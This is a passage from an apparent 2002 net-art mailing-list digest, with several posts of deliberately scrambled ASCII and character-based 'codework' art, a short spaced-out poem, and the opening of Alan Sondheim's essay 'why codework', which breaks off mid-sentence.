= k_   *   \n _   _   _ a _mm _ m _mm _ma *    a::: :!-: !!:: _a _a _a !  _  _  _  - _\n       !!rc  !          *          *\n                                                              =  _   _*h \n _ h _   _ t _ee _ e _ee _et*_    t    !!-  !!   _m _m _m _! _  _  _  \\ _\n       !!!   !          *          *\n                                                              = m_   _*o \n _ o _   _   _   _   _   _ * _    c25!!1!-3 !2!2 _e _e _e _ !_  _  _ \\_ _\n       !  !  !          *          *\n                                                              = e_   _ * \n _ m _   _ M _tt _ t _tt _t* _    hn!s 2!-8 !nn! _) _) _) _  !  _  _\\ _ _\n       !  !  !          *          **\n                                                             = s_   _ * _\n  e _   _ i _oo _ o _oo _*i _    ed!t t,\\, !ddd!_  _  _  _  _!!!  _- _ _\n        !  !!!         *            *\n                                                             = s_   _ * _\n    _   _ d _   _   _   _*d _    s !  h\\!0 !   !_  _  _  _  _  _! _- _ _\n        !   !!!        *             *\n                                                             = a_   _ * _\n  t _   _ d _NC _ L _NC *Ld _    )!    -!4 !    !  _  _  _  _  _ !_- _ _\n        !    ! !       *              *\n                                                             = g_   _ o*_\n  o _   _ l _eh _ e _eh *el _     !    -!9 !    !|||||||||||||||||!\\|||\n          !   !!       *              *\n                                                             = e_   _  *_\n    _   _ e _wa _ i _wa*_ie _     !    -!  !    _! _  _  _  _  _  \\! _ _\n         !   ! !       *              **\n                                                            =  _   _ L*_ \n M _   _ s _cr _ c _c**_cs _     !    -!  !    _ !_  _  _  _  _ \\_ !_ _\n     HAHAH!H!AHA      *                *\n                                                            = t_   _ e*_ \n a _   _ b _al _ e _a* _eb _    !     -!  !    _2!_  _1 _  _  _\\ _1 ! _\n     owowo!!owow     *                 *\n                                                            = o_   _ **_ \n n _   _ r _st _ s _s* _sr _    !     -!  !    _2 !6 _9 _0 _4 _- _0 _!!\n     mamam!!mama    *                  *\n                                                            =  _   _ * _ \n c _   _ o _to _ t _t**_to _     !    -!  !    _  _! _  _  _  _- _  _ _!\n    eyeye!!ey!!    *                  *\n                                                            = r_   _ * _ \n h _   _ u _ln _ e _l**_eu _     !    -!  !    _( _! _( _( _( _- _( _ _ !\n         !    *                  *\n                                                            = e_   _ **_ \n e _   _ g _e  _ r _*  _rg _     !    \\!  !    _2 _0!_1 _0 _4 _- _5 _ _  \n !!!     !    *                  *\n                                                            = e_   _ * _ \n s _   _ h _ A _ *** A _ h _         \\ !  !    _. _.!_. _% _0 _\\ _3 _A_\n      !   !!   *                   *\n                                                            = f_   _ * _ \n t _   _ , _U****C _Ut _C, _        \\   ! !    _2 _6 !9 _) _% \\% _% _w_\n       !  !!   *                   *\n                                                            = -_   _ * _ \n e _   _   _n**_ i _nh _i  _        -   ! !    _/ _/ _!!_  _)\\_) _) _a_\n        !!!!  *                    **\n                                                           = l_   _ * _ r\n  _   _ 1 _il _ t _il _t1 _        -   ! !    _g _g _g !  _\\ _  _  _y_\n     PPPPP!!!PP\\ **                      *\n                                                          = -_   _ **_   \n _   _ 8 _te _ y _te _y8 _        -   ! !    _a _a _a _! _- _  _  _ _    \n WWWD!W!!!!\\                         *\n                                                          = u_   _ * _ U \n _   _ / _et _ , _et _,/ _        \\   ! !    _m _m _m _! _- _  _  !!!\n        !  ! \\\\!                         *\n                                                          = n_   _ * _ n \n _   _ 0 _di _   _di _ 0 _      !\\!!!!!!!    _e _e _e _ !!- _  _ !! _    \n 313!2!23-41                         **\n                                                         = s_   _ * _ i _\n    _ 8 _,c _ 2 _,c _28 !!!!!!! -    \n !!!!!!!!!!!!!!!!!!!!-!!!!!!!!!!!!!!!!!!!!!!-!!                          \n *                                                        = u_   _ **_ t \n _   _ / _ , _ 5 _ , !!!!_       -    ! !    _  _  _  _  _-!!!!!  _ _    \n 101!0!11-12                          *\n                                                         = b_   _ * _ e _\n    _ 0 _1!!_ / _1!!_/0 _       -    ! !    _  _  _  _  _\\ _ !_  _ _\n       !  !  \\                           **\n                                                       = s_   _ * _ d _\n    _ 1 _80 !!!!!!0 _01 _       -    ! !    _  _  _  _  \\  _! _  _ _     \n !  ! \\\\                            **\n                                                      = c_   _ * _ , _   \n _   _/4 _ 8 _/4 _8  _       -    ! !    |||||||||||\\|||!|||||||      !  \n ! \\                             \n **************************************************************** _   _\n    _   _1/ _ / _1/ _/  _       -     !!    _  _  _  _\\ _ !_  _  _ _     \n !  !\\                                                \n                                    = i_   _ 0 _ 2 _   _   _21 _ 0 _21 _0\n   _       -     !!    _  _  _  _- _! _  _  _ _     ! ! -\n                                                 \n                                    = b_   _ 8 _ 5 _   _   _/1 _ 1 _/1 _1\n   _       -     !!    _3 _2 _3 _- !  _1 _1 _ _    !  ! -\n                                                                     \n 0020+ 70:40:41 = e_   _ / _ / _   _   _0/ _   _0/ _   _       \\     !!\n     _6 _3 _9 _-!_6 _0 _9 _ _   !   ! -\n                                                 \n                                    =  {AT} _   _ 0 _ 1 _   _   _10 _   _10 _\n    _      \\      !!    _  _  _  _- _  _  _  _ _   !   ! \\\n                                                                         \n di PTMS hti= t_   _ 1 _ 1 _   _   _ 1 _   _ 1 _   _     \\       !!    _( _( _( !\\\n  _( _( _( _ _  !   !\\\\                                                \n                                    = o_   _   _ / _   _   _   _   _   _\n    _     -       !!    _1 _1 _2 \\1 _3 _5 !5 _T_ !   ! \\\n                                                 \n                                    = p_   _   _ 0 _   _   _   _   _   _\n    _     -       !!    _. _. _.\\_6 _2 _3!_0 _o_!    !\\\n                                                 \n                                    = i_   _   _ 1 _   _   _   _   _   _\n    _     -       !!    _9 _2 _\\ _% _% _%!_% _t!!!! \\\\        !\n                                                 \n                                    = c_   _   _   _   _   _   _   _   _\n    _     -       !     \\||||||-|||||||||||/ _a_   !-!!!     !!\n                                                 \n                                    = a_   _   _   _   _   _   _   _   _\n    _     -       !    \\_g!_! _- _  _  !! _/ _l_  ! -  !!!  !!\n                                                 \n                                    = ._   _   _   _   _   _   _   _   _\n    _     -       ! \\|\\ _a !a _- _  _ !!  _  _ _    -    !!!\n                                                 \n                                    = c_   _   _   _   _   _   _   _   _\n    _     \\       \\\\    _m!_m _- _  _! _  _  _ _    -\n                                                 \n                                    = o_   _   _   _   _   _   _   _   _\n    _    \\      \\\\!     _! _e _\\ _  !! _  _  _ _    \\\n                                                 \n                                      m_   _   _   _   _   _   _   _   _\n    _    -   \\|\\  !     !) _) \\) _ !!  _  _  _ _   \\\n                                                 \n                                       _   _   _   _   _   _   _   _   _\n    _    /||\\          !_  _ \\_  !! _  _  _  _ _  \\\n                                                 \n                                       _   _   _   _   _   _   _   _   _\n    _                !! _  _ -_  _  _  _  _  _ _  \\\n                                                 \n                                       _   _   _   _   _   _   _   _   _\n    _               !   _  _ -_  _  _  _  _  _ _ \\\n                                                 \n                                       _   \n ||||||||||||||||||||||||||||||||               !    \n |||||-||||||||||||||||| \\\n                                                 \n                                                 \n                                         !          -                  \\\n                                                 \n                                                 \n                                                    -                 \\\n                                                 \n                                                 \n                                                    \\                \\\n                                                 \n                                                 \n                                                   \\                \\\\\n                                                 \n                                                 \n                                                  \\                \\\n                                                 \n                                                 \n                                                  -               \\\n                                                 \n                                                 \n                                                  -             \\\\\n                                                 \n                                                 \n                                                  -            \\\n                                                 \n                                                 \n                                                  -          \\\\\n                                                 \n                                                 \n                                                  -        \\\\\n                                                 \n                                                 \n                                                  - \\|||||\\\n                                                 \n                                                 \n                                                  /\\ .=?iso-8859-1404 {AT} sm\nContent-type: multipart/mixed; boundary=\"----------=_1033546728-647-2552\"\nX-UIDL: &0o!!\"C0!!bLe\"!`(^!!\n\n\n------------=_1033546728-647-2552\n\n\n= T_   |||||||||||||||||||||||||||||||| =S              C\n|||||||||||||||||||||   =R  12210032100\n\n= o_   _   _   _   _   _   _   _   _   _=T              u  _  _  _  _  _  _\n_  _  =E  17036103752\n\n^  _   _   _   _   _   _   _   _   _   _=A  (    A H    r  _  _  _  _  _  _\n_  _  =S  ///////////\n\n= u_   _a  _a  _ W _ B _ W _ B _   _   _=T  aA H wAoA   rC _  _  _  _  _  _\n_  _  =U  00000000000\n\n= n_   _t  _tH _ o _ e _ o _ e _   _   _=I  lvLi avmv   eu _P _A _  _  _  _\n_P _  =L  54444!!!33!\n\n= s_   _tL _ti _dr _ s _dr _ s _dW _   _=S  leog yeee  Cnr _o _g _  _L _D _\n_l _  =T  ////!!!!!!!\n\n= u_   _eo _eg _es _wt _es _wt _eo _wB _=T   rwh  r r  utr _i _a _F _o _r\n_W _a _  =S  00!!!0!!!0!\n\n= b_   _nw _************************************ aaaa  r e _n _i _o _s _a\n_o _y _  =   22!2!!!2222\n\n= s_   _de**de _e  _na _e  _nh _es _ns _=C  xg*s tgtg Crpn _t _n _r _t _w\n_n _e _  =S   ! !!\n\n= c_   _as*_as _aa _ w _ah _ o _at _ t _=S  ce** tete uert _s _s _  _  _n _\n_d _  =U   !!!\n\n= r_   _nt*_nt _tw _ a _to _ m _t  _   _    l  * e e  rne  _  _t !!!_  _  _\n_  _  =M  !!!MTCSWADN\n\n= i_   _c* _c  _ a _ y _ m _ e _   _   _    ull*!!!nh rtdl _  _!!_  !!!!! _\n_  _  =M !v!paohuesee\n\n*****  = b_   _e* _e  _ y _   _ e _   _   _   _    de*e!dw!! e ie _ !!  _\n_  _ !!  _  _  =A!!!!!ntanstrw\n\n*   * = e_   _*  _   _   _   _   _   _   _   _    i*aa!aaam!nfca _! _  _  _\n_  _!!!  _  =R  r!wctrdtobc\n\n*   **  _   _*  _   _   _   _   _   _   _   _    *ggg!nyne !otg\n!||||||||||||||||||!!|| =Y  t!ihele nya\n\n*    * s_   *|||||||||||||||||||||||||||||||     *uuu!c c  !reu!_  _  _  _\n_  _  _  !!_    o!centrH  s\n\n*   =*e_   *   _   _   _   _   _   _   _   _    *eee!eaea f!de!_  _  _  _\n_  _  _  _ !    n!hsholaVCt\n\n*  = *_  *_ 3 _ 3 _   _ 4 _12 _ 4 _12 _44 _   *f    !t t o !! _1 _1 _2 _  _\n_  _  _ _!    ! tanamio!\n\n*  = d*  *_ 7 _ 8 _   _ - _-- _ - _-- _-- _  * ippp !tpt rp!p!_4 _7 _0 _3\n_2 _4 _9 _ _ !   !Tem!!!!!!\n              ****\n* =  * * _ , _ , _   _ 0 _34 _ 0 _34 _00 _  * rooo !eoe mo!o !  _  _  _  _\n_  _  _ _  !  !!!!!dUln!\n             *    *\n*= a_*  _ 9 _ 1 _   _   _   _   _   _   _  * ssss !nsn  !ss\n_\\||||||||||||||/ _( _ _  !  !w Ht nat!\n            *     **\n**  _** _ 0 _ 7 _   _ a _aa _ a _aa _aa _ *  tiii !did i\\|||\\1!_1 _2 _3 _2\n_4/|/ _ _  !  !nUoh i y!\n           *       *\n=*b*  *_ 9 _ 4 _   _ w _tt _ t _tt _tw _*    ttt !at\\|\\!tt _. !. _. _3 _2\n_4 _7//H_   ! ! ntl t !i\n           *       **\n=***  *_   _   _   _ a _   _   _   _ a _*   4iii !n\\\\ d!ii _6 _! _2 _% _%\n_% _% _-_    !! ise e !t\n          *         *\n= a_  *_ a _ a _   _ y _hh _ h _hh _hy *     ooo o!-c !ooo _/ _/!!! _) _)\n_) _) \\m_    !! tpt d !e\n          *         *\n= n_   * t _ t _   _   _oo _ o _oo _o  *    mnnn n!-!!!nnn _g _g _g!_  _  _\n_  -e_     !!eui   !d\n          *         *\n= k_   *   _   _   _ a _mm _ m _mm _ma *    a::: :!-: !!:: _a _a _a !  _  _\n_  - _      !!rc  !\n         *          *\n=  _   _*h _ h _   _ t _ee _ e _ee _et*_    t    !!-  !!   _m _m _m _! _  _\n_  \\ _      !!!   !\n         *          *\n= m_   _*o _ o _   _   _   _   _   _ * _    c25!!1!-3 !2!2 _e _e _e _ !_  _\n_ \\_ _      !  !  !\n         *          *\n= e_   _ * _ m _   _ M _tt _ t _tt _t* _    hn!s 2!-8 !nn! _) _) _) _  !  _\n_\\ _ _      !  !  !\n         *          **\n= s_   _ * _ e _   _ i _oo _ o _oo _*i _    ed!t t,\\, !ddd!_  _  _  _  _!!!\n_- _ _       !  !!!\n        *            *\n= s_   _ * _   _   _ d _   _   _   _*d _    s !  h\\!0 !   !_  _  _  _  _\n_! _- _ _       !   !!!\n       *             *\n= a_   _ * _ t _   _ d _NC _ L _NC *Ld _    )!    -!4 !    !  _  _  _  _  _\n!_- _ _       !    ! !\n      *              *\n= g_   _ o*_ o _   _ l _eh _ e _eh *el _     !    -!9 !\n!|||||||||||||||||!\\|||         !   !!\n      *              *\n= e_   _  *_   _   _ e _wa _ i _wa*_ie _     !    -!  !    _! _  _  _  _  _\n\\! _ _        !   ! !\n      *              **\n=  _   _ L*_ M _   _ s _cr _ c _c**_cs _     !    -!  !    _ !_  _  _  _  _\n\\_ !_ _    HAHAH!H!AHA\n     *                *\n= t_   _ e*_ a _   _ b _al _ e _a* _eb _    !     -!  !    _2!_  _1 _  _\n_\\ _1 ! _    owowo!!owow\n    *                 *\n= o_   _ **_ n _   _ r _st _ s _s* _sr _    !     -!  !    _2 !6 _9 _0 _4\n_- _0 _!!    mamam!!mama\n   *                  *\n=  _   _ * _ c _   _ o _to _ t _t**_to _     !    -!  !    _  _! _  _  _\n_- _  _ _!   eyeye!!ey!!\n   *                  *\n= r_   _ * _ h _   _ u _ln _ e _l**_eu _     !    -!  !    _( _! _( _( _(\n_- _( _ _ !        !\n   *                  *\n= e_   _ **_ e _   _ g _e  _ r _*  _rg _     !    \\!  !    _2 _0!_1 _0 _4\n_- _5 _ _  !!!     !\n   *                  *\n= e_   _ * _ s _   _ h _ A _ *** A _ h _         \\ !  !    _. _.!_. _% _0\n_\\ _3 _A_     !   !!\n  *                   *\n= f_   _ * _ t _   _ , _U****C _Ut _C, _        \\   ! !    _2 _6 !9 _) _%\n\\% _% _w_      !  !!\n  *                   *\n= -_   _ * _ e _   _   _n**_ i _nh _i  _        -   ! !    _/ _/ _!!_\n_)\\_) _) _a_       !!!!\n *                    **\n= l_   _ * _ r _   _ 1 _il _ t _il _t1 _        -   ! !    _g _g _g !  _\\ _\n_  _y_    PPPPP!!!PP\\\n**                      *\n= -_   _ **_   _   _ 8 _te _ y _te _y8 _        -   ! !    _a _a _a _! _- _\n_  _ _    WWWD!W!!!!\\\n                        *\n= u_   _ * _ U _   _ / _et _ , _et _,/ _        \\   ! !    _m _m _m _! _- _\n_  !!!       !  ! \\\\!\n                        *\n= n_   _ * _ n _   _ 0 _di _   _di _ 0 _      !\\!!!!!!!    _e _e _e _ !!- _\n_ !! _    313!2!23-41\n                        **\n= s_   _ * _ i _   _ 8 _,c _ 2 _,c _28 !!!!!!! -\n!!!!!!!!!!!!!!!!!!!!-!!!!!!!!!!!!!!!!!!!!!!-!!\n                         *\n= u_   _ **_ t _   _ / _ , _ 5 _ , !!!!_       -    ! !    _  _  _  _\n_-!!!!!  _ _    101!0!11-12\n                         *\n= b_   _ * _ e _   _ 0 _1!!_ / _1!!_/0 _       -    ! !    _  _  _  _  _\\ _\n!_  _ _      !  !  \\\n                          **\n= s_   _ * _ d _   _ 1 _80 !!!!!!0 _01 _       -    ! !    _  _  _  _  \\\n_! _  _ _     !  ! \\\\\n                           **\n= c_   _ * _ , _   _   _/4 _ 8 _/4 _8  _       -    ! !\n|||||||||||\\|||!|||||||      !  ! \\\n\n**************************************************************** _   _   _\n_1/ _ / _1/ _/  _       -     !!    _  _  _  _\\ _ !_  _  _ _     !  !\\\n\n= i_   _ 0 _ 2 _   _   _21 _ 0 _21 _0  _       -     !!    _  _  _  _- _! _\n_  _ _     ! ! -\n\n= b_   _ 8 _ 5 _   _   _/1 _ 1 _/1 _1  _       -     !!    _3 _2 _3 _- !\n_1 _1 _ _    !  ! -\n                                                                   0020+\n70:40:41 = e_   _ / _ / _   _   _0/ _   _0/ _   _       \\     !!    _6 _3\n_9 _-!_6 _0 _9 _ _   !   ! -\n\n=  {AT} _   _ 0 _ 1 _   _   _10 _   _10 _   _      \\      !!    _  _  _  _- _  _\n_  _ _   !   ! \\\n                                                                       di\nPTMS hti= t_   _ 1 _ 1 _   _   _ 1 _   _ 1 _   _     \\       !!    _( _( _(\n!\\ _( _( _( _ _  !   !\\\\\n\n= o_   _   _ / _   _   _   _   _   _   _     -       !!    _1 _1 _2 \\1 _3\n_5 !5 _T_ !   ! \\\n\n= p_   _   _ 0 _   _   _   _   _   _   _     -       !!    _. _. _.\\_6 _2\n_3!_0 _o_!    !\\\n\n= i_   _   _ 1 _   _   _   _   _   _   _     -       !!    _9 _2 _\\ _% _%\n_%!_% _t!!!! \\\\        !\n\n= c_   _   _   _   _   _   _   _   _   _     -       !\n\\||||||-|||||||||||/ _a_   !-!!!     !!\n\n= a_   _   _   _   _   _   _   _   _   _     -       !    \\_g!_! _- _  _\n!! _/ _l_  ! -  !!!  !!\n\n= ._   _   _   _   _   _   _   _   _   _     -       ! \\|\\ _a !a _- _  _ !!\n_  _ _    -    !!!\n\n= c_   _   _   _   _   _   _   _   _   _     \\       \\\\    _m!_m _- _  _! _\n_  _ _    -\n\n= o_   _   _   _   _   _   _   _   _   _    \\      \\\\!     _! _e _\\ _  !! _\n_  _ _    \\\n\nm_   _   _   _   _   _   _   _   _   _    -   \\|\\  !     !) _) \\) _ !!  _\n_  _ _   \\\n\n_   _   _   _   _   _   _   _   _   _    /||\\          !_  _ \\_  !! _  _  _\n_ _  \\\n\n_   _   _   _   _   _   _   _   _   _                !! _  _ -_  _  _  _  _\n_ _  \\\n\n_   _   _   _   _   _   _   _   _   _               !   _  _ -_  _  _  _  _\n_ _ \\\n\n_   ||||||||||||||||||||||||||||||||               !\n|||||-||||||||||||||||| \\\n\n!          -                  \\\n\n-                 \\\n\n\\                \\\n\n\\                \\\\\n\n\\                \\\n\n-               \\\n\n-             \\\\\n\n-            \\\n\n-          \\\\\n\n-        \\\\\n\n- \\|||||\\\n\n/\\\n\n------------=_1033546728-647-2552\nContent-Disposition: inline; filename=\"message.footer\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1033546728-647-2552--\n\n\n\n\nDate: Wed, 2 Oct 2002 00:48:31 +0200\nFrom: claudia westermann <media {AT} ezaic.de>\nSubject: 1000 jodi flowers\n\n\n------------=_1033512490-647-2547\n\n\n*\n\n\n\nI\n\n\n\n\n              s h a r e   t h e m\n\n\n\n                       f o r      a\n\n                                                        k\n                                                         i\n                                                           ss\n\n\n\n\n\n\n\n\n\n\n\napplicants ?\n\n------------=_1033512490-647-2547\nContent-Disposition: inline; filename=\"message.footer\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1033512490-647-2547--\n\n\n\n\nDate:         Sat, 28 Sep 2002 03:57:46 -0700\nFrom: august highland <hmfah {AT} HOTMAIL.COM>\nSubject: sleepless night impromtu\n\n\n\n*\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438O-\u0438v-\u0438M-\u0438D-\u0438L-\u0438\\-\u0438X-\u0438M-\u0438s-\u0438$-\u0438\"-\u0438\\-\u0438\n=-\u0438D-\u0438\n}-\u0438U-\u0438{-\u0438\"-\u0438z-\u0438`-\u0438{-\u0438%-\u0438h-\u0438F-\u0438u-\u0438\"-\u0438l-\u0438\n--\u0438V-\u0438c-\u0438#-\u0438R-\u0438G-\u0438)-\u0438S-\u0438P-\u0438\n?-\u0438y-\u0438l-\u0438}-\u0438s-\u0438=-\u0438X-\u0438S-\u0438n-\u0438j-\u0438\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438?-\u0438o-\u0438|-\u0438o-\u0438k-\u0438A-\u0438=-\u0438$\nK-\u0438'-\u0438t-\u0438s-\u0438n-\u0438P-\u0438f-\u0438+-\u0438(-\u0438#-\u0438N-\u0438C-\u0438I-\u0438o-\u0438;\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438m-\u0438T-\u0438?-\u0438\n~-\u0438h-\u0438n-\u0438N-\u0438d-\u0438\n&-\u0438J-\u0438N-\u0438*\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438\n\n\n\nZ-\u0438w-\u0438y-\u0438Z-\u0438S-\u0438y-\u0438b-\u0438c-\u0438o-\u0438V-\u0438\\-\u0438L-\u0438;\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438X-\u0438~-\u0438y-\u0438\nt-\u0438y-\u0438n-\u0438v-\u0438C-\u0438_-\u0438r-\u0438b-\u0438S-\u0438G-\u0438/-\u0438\n\n\n\n\nw-\u0438\nA-\u0438d-\u0438M-\u0438F-\u0438p-\u0438{-\u0438a-\u0438M-\u0438k-\u0438,-\u0438\n\\-\u0438\nw-\u0438[-\u0438]-\u0438J-\u0438E-\u0438o-\u0438O-\u0438;\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438G-\u0438A-\u0438i-\u0438&-\u0438Q-\u0438/-\u0438\\-\u0438)-\u0438F-\u0438V-\u0438\n=-\u0438\n\"-\u0438\n^-\u0438H-\u0438v-\u0438_-\u0438;\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438J-\u0438f-\u0438L-\u0438{-\u0438v-\u0438h-\u0438~-\u0438a-\u0438)-\u0438*\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438#-\u0438E-\u0438E-\u0438\n&-\u0438\n\n\n\nR-\u0438O-\u0438N-\u0438Z-\u0438Q-\u0438.-\u0438Z-\u0438N-\u0438*\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438K-\u0438x-\u0438t-\u0438.-\u0438\n^-\u0438\"-\u0438J-\u0438q-\u0438~-\u0438s-\u0438C-\u0438_-\u0438;\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438!-\u0438(-\u0438,-\u0438p-\u0438p-\u0438.-\u0438\"-\u0438?-\u0438F-\u0438b-\u0438\"-\u0438X-\u0438{-\u0438S-\u0438/-\u0438#-\u0438\no-\u0438h-\u0438w-\u0438o-\u0438p-\u0438D-\u0438D-\u0438_-\u0438e-\u0438J-\u0438'-\u0438a-\u0438Y-\u0438;\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438R-\u0438R-\u0438$-\u0438O-\u0438)-\u0438\n\n\n\nu-\u0438+-\u0438Y-\u0438&-\u0438d-\u0438\ny-\u0438'-\u0438=-\u0438u-\u0438P-\u0438/-\u0438\nD-\u0438d-\u0438\\-\u0438y-\u0438!-\u0438m-\u0438*\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438G-\u0438L-\u0438g-\u0438Y-\u0438h-\u0438\n'-\u0438B-\u0438W-\u0438u-\u0438M-\u0438|-\u0438O-\u0438q-\u0438$-\u0438!-\u0438.-\u0438\nm-\u0438z-\u0438\n^-\u0438 {AT} -\u0438\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438`-\u0438M-\u0438\n[-\u0438\n {AT} -\u0438g-\u0438&-\u0438I-\u0438u-\u0438A-\u0438X-\u0438\\-\u0438\nQ-\u0438\n\n\n\n(-\u0438\nH-\u0438`-\u0438m-\u0438?-\u0438/-\u0438H-\u0438G-\u0438--\u0438#-\u0438--\u0438\nk-\u0438l-\u0438G-\u0438d-\u0438]-\u0438m-\u0438F-\u0438s-\u0438\n{-\u0438M-\u0438A-\u0438r-\u0438)-\u0438?-\u0438w-\u0438\nA-\u0438^-\u0438P-\u0438t-\u0438z-\u0438c-\u0438m-\u0438\n\"-\u0438.-\u0438\n}-\u0438)-\u0438\n,-\u0438|-\u0438q-\u0438#-\u0438$-\u0438F-\u0438G-\u0438K-\u0438h-\u0438c-\u0438r-\u0438B-\u0438z-\u0438C-\u0438l-\u0438F\n\n\n\n|-\u0438*\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438h-\u0438D-\u0438\nS-\u0438k-\u0438O-\u0438|-\u0438\n^-\u0438Q-\u0438m-\u0438[-\u0438+-\u0438h-\u0438a-\u0438j-\u0438Q-\u0438M-\u0438E-\u0438G-\u0438{-\u0438X-\u0438Z-\u0438n-\u0438\nH-\u0438n-\u0438r-\u0438k-\u0438?-\u0438k-\u0438H-\u0438g-\u0438\n%-\u0438\nj-\u0438\\-\u0438d-\u0438%-\u0438d-\u0438\nM-\u0438x-\u0438C-\u0438Q-\u0438N-\u0438?-\u0438\nB-\u0438C-\u0438\\-\u0438\nI-\u0438;\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438~-\u0438U\n {AT} -\u0438\nB-\u0438\nJ-\u0438Z-\u0438f-\u0438;\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438\n^-\u0438\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438,-\u0438j-\u0438Q-\u0438f-\u0438g-\u0438O-\u0438r-\u0438%-\u0438,-\u0438D-\u0438\n\n\n\n\ne-\u0438!-\u0438--\u0438(-\u0438(-\u0438m-\u0438W-\u0438\nP-\u0438t-\u0438l-\u0438\\-\u0438--\u0438Q-\u0438x-\u0438g-\u0438Z-\u0438g-\u0438(-\u0438v-\u0438~-\u0438m-\u0438'-\u0438t-\u0438!-\u0438'-\u0438n-\u0438=-\u0438;\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438X-\u0438]-\u0438\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438A-\u0438J-\u0438l-\u0438Q\n\n\n\nd-\u0438I-\u0438i-\u0438Q-\u0438E-\u0438&-\u0438\\-\u0438H-\u0438l-\u0438[-\u0438C-\u0438\n,-\u0438D-\u0438k-\u0438k-\u0438z-\u0438$-\u0438S-\u0438z-\u0438$-\u0438W-\u0438 {AT} -\u0438p-\u0438X-\u0438F-\u0438x-\u0438\nh-\u0438$-\u0438\nw-\u0438z-\u0438\nR-\u0438I-\u0438J-\u0438\n#-\u0438w-\u0438(-\u0438B-\u0438q-\u0438}-\u0438T-\u0438[-\u0438X-\u0438\nt-\u0438t-\u0438!-\u0438 {AT} -\u0438\nv-\u0438j-\u0438\nK-\u0438i-\u0438X\nw-\u0438p-\u0438[-\u0438Z-\u0438\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438p-\u0438=-\u0438M-\u0438]-\u0438 {AT} -\u0438t-\u0438h-\u0438{-\u0438~-\u0438J-\u0438f-\u0438*\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438n-\u0438\nz-\u0438z-\u0438C-\u0438x-\u0438X-\u0438$-\u0438M-\u0438\nN-\u0438r-\u0438Q-\u0438i-\u0438p-\u0438*\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438!-\u0438Y-\u0438x-\u0438k-\u0438s-\u0438T-\u0438/-\u0438r-\u0438\nP-\u0438V-\u0438j-\u0438\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438(-\u0438+-\u0438(-\u0438\n^-\u0438/-\u0438K-\u0438\"-\u0438p-\u0438)-\u0438g-\u0438O-\u0438s-\u0438k\n\n\n\nU-\u0438|-\u0438.-\u0438y-\u0438\nn-\u0438p-\u0438J-\u0438\nv-\u0438\"-\u0438F-\u0438V-\u0438{-\u0438f-\u0438K-\u0438\n=-\u0438_-\u0438h-\u0438E-\u0438G-\u0438d-\u0438m-\u0438N-\u0438%-\u0438U-\u0438\n\n\n\n'-\u0438X-\u0438{-\u0438C-\u0438\n`-\u0438P-\u0438v-\u0438\\-\u0438 {AT} -\u0438\nF-\u0438Z-\u0438k-\u0438\nh-\u0438O-\u0438\n\u2557\u0435\u0435\u0435\u0435\u0435\u0435-\u0438z-\u0438V-\u0438V-\u0438m-\u0438n-\u0438v-\u0438?-\u0438E-\u0438T-\u0438\n]-\u0438W\n\n\n\n\n\n\n\n\nU-\u0438\"-\u0438S-\u0438B-\u0438\nh-\u0438k-\u0438\nW-\u0438{-\u0438{-\u0438L-\u0438,-\u0438\nE-\u0438L-\u0438Z-\u0438+-\u0438s-\u0438!-\u0438L-\u0438\n?-\u0438N-\u0438\n\n\n\n\n\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.391 / Virus Database: 222 - Release Date: 9/19/2002\n\n\n\n\n\n\n\nDate:         Sat, 28 Sep 2002 14:38:31 -0700\nFrom: Lanny Quarles <solipsis {AT} HEVANET.COM>\nSubject: Re: sleepless night impromtu\n\n\n\n\n\n\n\n                        =\ni........................................................................=\n\n                       =\nm.......................................................\npolaris romanharp................................................\n                        russia...................................\n                        o...................................\n                        m...........................\n                         p......................\n                         t..................\n              florida fungi...........\n                             c..........\n                             e..........\n                             b.............\n                             inn..............\n                             k......................\n                        annep..........................\n                               o................................\n                               t.......................................\n                         =\nsivistys..............................................\n                               =\ne........................................................\n                               =\nr....................................................................\n                               =\ny........................................................................=\n........\n\n\n\n\n\n\n\n\nDate:         Sun, 29 Sep 2002 02:01:20 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: why codework\n\nwhy codework\n\n\nwary of any art movement tending towards genre, not that the two are\nsimultaneous or 